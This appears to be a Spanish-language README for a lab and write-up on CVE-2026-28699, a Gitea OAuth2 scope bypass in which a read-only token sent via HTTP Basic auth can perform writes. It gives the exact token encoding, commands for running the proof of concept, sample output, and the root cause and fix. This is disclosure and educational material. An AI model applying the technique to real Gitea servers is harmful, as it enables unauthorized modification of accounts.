
Laboratorio + writeup para CVE-2026-28699: bypass de la aplicación de alcance OAuth2 de Gitea a través de autenticación básica HTTP
Un token de acceso OAuth2 de Gitea con alcance solo read:user puede realizar acciones de escritura completas cuando se envía como Authorization: Basic base64(<token>:x-oauth-basic) en lugar de como un token Bearer. La verificación de alcance se omite para cualquier token presentado a través de autenticación básica.
Afectado: <= 1.26.1. Corregido en 1.26.2.
Aviso: GHSA-9r5x-wg6m-x2rc. CWE-863. Gravedad Alta.
Informe completo: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py levanta una instancia desechable de Gitea en SQLite en el directorio temporal del sistema, ejecuta el flujo de código de autorización OAuth2 para generar un token de solo read:user, luego llama a un endpoint de escritura tanto con Bearer como con Basic e imprime el veredicto. Establece POC_DEBUG=1 para ver los pasos del flujo de autenticación.
Vulnerable 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
Corregido 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
services/auth/basic.go establecía IsApiToken pero no ApiTokenScope para tokens OAuth2. El middleware tokenRequiresScopes retorna temprano cuando el alcance está ausente, por lo que no se verifica nada. La corrección 1.26.2 añade el store.GetData()["ApiTokenScope"] = accessTokenScope faltante.
Para educación y pruebas de seguridad autorizadas: tu propio laboratorio, máquinas CTF y HTB, objetivos de bug bounty dentro del alcance. El PoC ejecuta su propio Gitea desechable, así que no lo apuntes a nada que no poseas.
| Presentación de autenticación | IsApiToken | ApiTokenScope | ¿alcance aplicado? |
|---|
| Token OAuth2 vía Bearer | true | set | sí |
| Token OAuth2 vía Basic | true | falta | no (falla abierto) |
| Token de acceso personal | true | set | sí |
| Archivo | Propósito |
|---|
WRITEUP.md | Análisis de causa raíz, impacto, remediación, detección |
fetch_binaries.py | Descarga los binarios 1.26.1 / 1.26.2 para tu SO/arquitectura |
poc.py | Aprovisiona Gitea, genera un token read:user, prueba Bearer vs Basic |
requirements.txt | requests |